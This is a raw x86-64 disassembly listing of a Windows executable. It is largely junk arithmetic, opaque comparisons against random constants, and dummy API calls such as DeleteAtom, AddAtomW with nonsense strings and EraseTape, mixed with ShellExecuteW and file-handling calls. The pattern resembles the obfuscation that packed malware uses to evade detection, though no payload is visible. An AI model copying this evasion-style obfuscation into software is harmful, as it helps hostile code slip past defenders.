mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x243c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4a30]
mov rcx, qword [rsp + 0x4a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
jmp 0x140003833
lea rcx, [rsp + 0x14d30]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x2408], eax
mov eax, dword [rsp + 0x23c0]
mov dword [rsp + 0x2478], eax
cmp dword [rsp + 0x2478], 0
je 0x1400039e6
jmp 0x1400db2af
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c8]
cdq
idiv ecx
movsx ecx, word [rsp + 0x5c4]
mov dword [rsp + 0x247c], ecx
movsx edx, word [0x140108008]
movzx ecx, dl
mov edx, dword [rsp + 0x247c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140003b44
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x140108f98]
mov word [rcx], ax
movsx eax, word [0x140108008]
movsx ecx, word [rsp + 0x5ec]
and eax, ecx
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
mov qword [rsp + 0x4aa0], rax
movabs rax, 0x7777144a9b88d2
cmp qword [rsp + 0x4aa0], rax
je 0x140003a86
jmp 0x140003ae2
mov rdx, qword [rsp + 0x4a28]
lea rcx, [rsp + 0x14860]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x2480], eax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x243c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movabs rax, 0x71f0ff0719c3fa
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
jmp 0x140003b3f
mov rax, qword [rsp + 0x4a30]
mov rcx, qword [rsp + 0x4990]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e8]
add eax, ecx
mov word [rsp + 0x5cc], ax
jmp 0x140003c64
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [section..data]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov rdx, qword [rsp + 0x4970]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jbe 0x140003c64
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4a90]
mov rdx, qword [rsp + 0x4978]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140003c4e
mov dword [rsp + 0x20], 0xa4
lea r9, [rsp + 0x14860]
mov r8d, 0x4f
lea rdx, [rsp + 0x49b8]
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x2484], eax
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x41]
shl eax, cl
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c8]
sar eax, cl
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
xor eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x4a90]
mov rax, qword [rax]
or rax, rcx
mov qword [section..data], rax
jmp 0x140003c64
lea rcx, [rsp + 0x147a0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x4aa8], rax
mov dword [rsp + 0x2488], 0xa2de
mov rax, qword [rsp + 0x49b8]
mov qword [rsp + 0x4ab0], rax
movabs rax, 0x1eb3e1536801c92c
cmp qword [rsp + 0x4ab0], rax
je 0x140003c98
jmp 0x1400db1f5
movsx eax, word [rsp + 0x5ec]
mov dword [rsp + 0x248c], eax
cmp dword [rsp + 0x248c], 0x6e9
je 0x140003d17
cmp dword [rsp + 0x248c], 0x7b5
je 0x140003cc3
jmp 0x140003d36
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2410]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
add eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [section..data]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4a90], rax
jmp 0x140003d36
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x243c]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2454]
mov edx, dword [rsp + 0x242c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140003d76
mov rdx, qword [rsp + 0x49b8]
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rax]
call fcn.1400dbe30
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x23c0]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x2490]
mov rdx, qword [rsp + 0x4a30]
mov edx, dword [rdx]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140003df9
mov r8d, 0xfc
lea rdx, [rsp + 0x4a90]
lea rcx, [rsp + 0x2410]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x2424], eax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5e0], ax
lea rcx, [rsp + 0x14ad0]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x23e0], eax
mov dword [rsp + 0x2494], 0xd1b6
mov rax, qword [rsp + 0x49c8]
movzx eax, byte [rax]
mov byte [rsp + 0x2498], al
cmp byte [rsp + 0x2498], 0
je 0x140003e33
cmp byte [rsp + 0x2498], 0x54
je 0x140003ed6
jmp 0x140003f3f
movzx ecx, word [rsp + 0x5d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d0], ax
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [0x140108f90]
shl eax, cl
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x5e0]
or ecx, edx
cmp eax, ecx
jne 0x140003e90
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x243c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
lea rax, [rsp + 0x4978]
mov qword [rsp + 0x4ab8], rax
mov dword [rsp + 0x249c], 0x7736
lea rax, [rsp + 0x49b8]
mov qword [rsp + 0x4ac0], rax
mov dword [rsp + 0x24a0], 0x905b
mov eax, dword [rsp + 0x2490]
mov dword [rsp + 0x24a4], eax
jmp 0x140003f3f
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c8]
add eax, ecx
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5cc], ax
mov eax, dword [rsp + 0x242c]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x5cc]
mov r8, qword [rsp + 0x4978]
movzx edx, word [rsp + 0x5cc]
mov ecx, dword [rsp + 0x2454]
call fcn.1400dc430
cmp dword [rsp + 0x240c], 0x6581
ja 0x140004176
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
add eax, ecx
mov word [rsp + 0x5c8], ax
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [0x140108f90], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov byte [rsp + 0x41], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
sub eax, ecx
mov word [rsp + 0x5c8], ax
movzx ecx, word [rsp + 0x5e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5f0], ax
mov rax, qword [rsp + 0x4a90]
mov rcx, qword [rsp + 0x4970]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x5d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d8], ax
mov eax, dword [rsp + 0x240c]
add eax, 0x19
mov dword [rsp + 0x240c], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x242c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2454], eax
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2490]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2410], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x4ad0], rax
movzx ecx, word [rsp + 0x5d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d8], ax
lea rcx, str.Tranches_dinar_Unchanged
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x5f0], ax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x14d30]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x23f0], eax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x7109c0c78c9475
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [0x140108f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
xor eax, ecx
mov word [rsp + 0x5e0], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
or eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [0x140108f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x24a8], eax
movzx eax, word [rsp + 0x5e0]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2430], eax
jmp 0x140003f3f
cmp dword [rsp + 0x2434], 0x6062
jbe 0x140004465
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
and eax, ecx
mov word [rsp + 0x5c8], ax
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x242c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2454], eax
xor r9d, r9d
lea r8, [rsp + 0x49a8]
mov rdx, qword [rsp + 0x49b0]
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x24a8], eax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x763b0e1cc0fedf
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x4a90]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2490]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2410], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x5d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5dc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov word [0x140108008], ax
lea rcx, str.updater_officiate_Diffusive
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x5dc], ax
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
sar eax, cl
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x76518785a3c636
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x4a80]
mov rcx, qword [rsp + 0x4990]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x24a4], eax
mov eax, dword [rsp + 0x2434]
sub eax, 0x30
mov dword [rsp + 0x2434], eax
mov rax, qword [rsp + 0x4ab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4a88]
mov qword [rsp + 0x4ad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ad8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4a90], rax
mov eax, dword [rsp + 0x243c]
mov ecx, dword [rsp + 0x2454]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x23c0]
mov dword [rsp + 0x2490], eax
mov rax, qword [0x140108f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e8]
sub eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
movzx ecx, word [rsp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5f4], ax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [0x140108f90]
sub eax, ecx
mov word [rsp + 0x5e0], ax
lea rdx, [rsp + 0x13110]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x242c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
jmp 0x140004176
mov rax, qword [rsp + 0x4a90]
mov qword [rsp + 0x4ae0], rax
movabs rax, 0x7ce151e5c05997
cmp qword [rsp + 0x4ae0], rax
je 0x14000448b
jmp 0x14000450a
mov rcx, qword [rsp + 0x4a28]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x4ae8], rax
mov dword [rsp + 0x28], 0xec
mov rax, qword [rsp + 0x4a38]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4988]
mov r8, qword [rsp + 0x4a28]
mov rdx, qword [rsp + 0x4af0]
mov rcx, qword [rsp + 0x4af8]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x4b00], rax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
jmp 0x1400db199
movsx eax, word [rsp + 0x5c8]
mov dword [rsp + 0x24ac], eax
cmp dword [rsp + 0x24ac], 0x40f
je 0x14000452b
jmp 0x140004653
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov dword [rsp + 0x24b0], eax
cmp dword [rsp + 0x24b0], 0x6aa1
je 0x14000455b
cmp dword [rsp + 0x24b0], 0xfe27
je 0x14000457c
jmp 0x14000464e
mov rax, qword [0x140108f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e0]
add eax, ecx
mov word [rsp + 0x5e8], ax
jmp 0x14000464e
mov rax, qword [rsp + 0x49b8]
cqo
movabs rcx, 0x749cde3fdbdf27
idiv rcx
mov rcx, qword [rsp + 0x4ac0]
cmp rax, qword [rcx]
jne 0x14000464e
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov qword [rsp + 0x4b08], rax
movabs rax, 0x78acedf5b4241a
cmp qword [rsp + 0x4b08], rax
je 0x1400045f7
movabs rax, 0x7c17c0928d1106
cmp qword [rsp + 0x4b08], rax
je 0x140004632
jmp 0x14000464e
mov eax, dword [rsp + 0x243c]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4a58]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x49e0]
mov r8, qword [rax]
movzx edx, word [rsp + 0x5e0]
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rax]
call fcn.1400dc430
jmp 0x14000464e
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [rsp + 0x5e8]
shl eax, cl
mov rcx, qword [0x140108f98]
mov word [rcx], ax
jmp 0x1400046ff
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c4]
sar eax, cl
mov word [rsp + 0x5c8], ax
lea rax, [rsp + 0x4a90]
mov qword [rsp + 0x4b10], rax
movzx eax, word [rsp + 0x5cc]
mov dword [rsp + 0x24b4], eax
cmp dword [rsp + 0x24b4], 0xba1
je 0x1400046e3
cmp dword [rsp + 0x24b4], 0xebba
je 0x1400046a8
jmp 0x1400046ff
lea rax, [rsp + 0x2454]
mov qword [rsp + 0x4b18], rax
lea rax, [rsp + 0x49b8]
mov qword [rsp + 0x4b20], rax
mov eax, dword [rsp + 0x24a4]
mov ecx, dword [rsp + 0x2410]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x23c0], eax
jmp 0x1400046ff
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [0x140108f90]
and eax, ecx
mov word [rsp + 0x5e8], ax
mov dword [rsp + 0x24b8], 0x39e1
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4a90]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ab8]
mov rdx, qword [rsp + 0x4978]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x1400047b9
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5c8]
xor eax, ecx
mov word [rsp + 0x5ec], ax
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x243c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2454], eax
lea r8, [rsp + 0x23e0]
lea rdx, [rsp + 0x12210]
mov ecx, 0xe0
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x24bc], eax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4a90]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
jmp 0x1400db063
mov edx, 0x53a95f
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x2408], eax
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rsp + 0x2490]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov edx, dword [rsp + 0x2410]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x14000481a
movzx r8d, byte [rsp + 0x41]
mov rax, qword [rsp + 0x4b18]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x4a90]
call fcn.1400dcc30
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
movzx eax, word [rsp + 0x5e8]
mov dword [rsp + 0x24c0], eax
cmp dword [rsp + 0x24c0], 0x4f2
je 0x140004933
cmp dword [rsp + 0x24c0], 0xe67
je 0x140004859
jmp 0x140004a33
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x24c4], al
cmp byte [rsp + 0x24c4], 0x49
je 0x14000487e
cmp byte [rsp + 0x24c4], 0x6a
je 0x1400048a4
jmp 0x14000492e
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x49b8], rax
jmp 0x14000492e
mov rax, qword [rsp + 0x4ab8]
mov rcx, qword [rsp + 0x4a90]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4978]
mov rdx, qword [rsp + 0x4970]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140004905
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x23c0], eax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x5ec]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x49b8]
mov r8b, 0xce
mov dl, 0x42
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rax]
call fcn.1400db720
jmp 0x140004a33
mov eax, dword [rsp + 0x242c]
mov ecx, dword [rsp + 0x23cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2454]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jae 0x140004995
mov dword [rsp + 0x20], 9
lea r9, [rsp + 0x4b28]
mov r8, qword [rsp + 0x4b28]
mov rdx, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4b30]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x23e0], eax
jmp 0x1400049cd
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5e0], ax
mov rax, qword [rsp + 0x4990]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rax]
call fcn.1400dc260
movzx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x49b8], rax
mov r8, qword [rsp + 0x4b38]
mov rdx, qword [rsp + 0x4af0]
mov rcx, qword [rsp + 0x4af0]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0x4b40], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov qword [rsp + 0x4b48], rax
movabs rax, 0x75b71a55f9b5ce
cmp qword [rsp + 0x4b48], rax
je 0x140004a70
movabs rax, 0x78c1d99477cbb9
cmp qword [rsp + 0x4b48], rax
je 0x140004a88
jmp 0x140004aa5
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
jmp 0x140004aa5
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2454], eax
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
mov dword [rsp + 0x24c8], eax
mov rax, qword [rsp + 0x49b8]
mov qword [rsp + 0x4b50], rax
cmp dword [rsp + 0x2494], 0xa3f6
jb 0x140004ff8
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ab8]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d4], ax
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x41]
add eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4ab8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4a90], rax
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov word [0x140108008], ax
movzx eax, word [0x140108f90]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
sub eax, ecx
mov byte [rsp + 0x40], al
mov edx, 0x3265aa
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x4978]
mov rcx, qword [rsp + 0x4a90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2296
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2418], eax
mov eax, dword [rsp + 0x23c0]
mov rcx, qword [rsp + 0x4a80]
mov qword [rsp + 0x4b58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x24c8], eax
mov rax, qword [rsp + 0x4980]
mov rcx, qword [rsp + 0x4b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5e8]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c8]
sub eax, ecx
mov word [rsp + 0x5c4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140108f90], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5e0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x49e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2454], eax
mov eax, dword [rsp + 0x24c8]
mov ecx, dword [rsp + 0x2410]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x5d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5f8], ax
mov rax, qword [rsp + 0x4ac0]
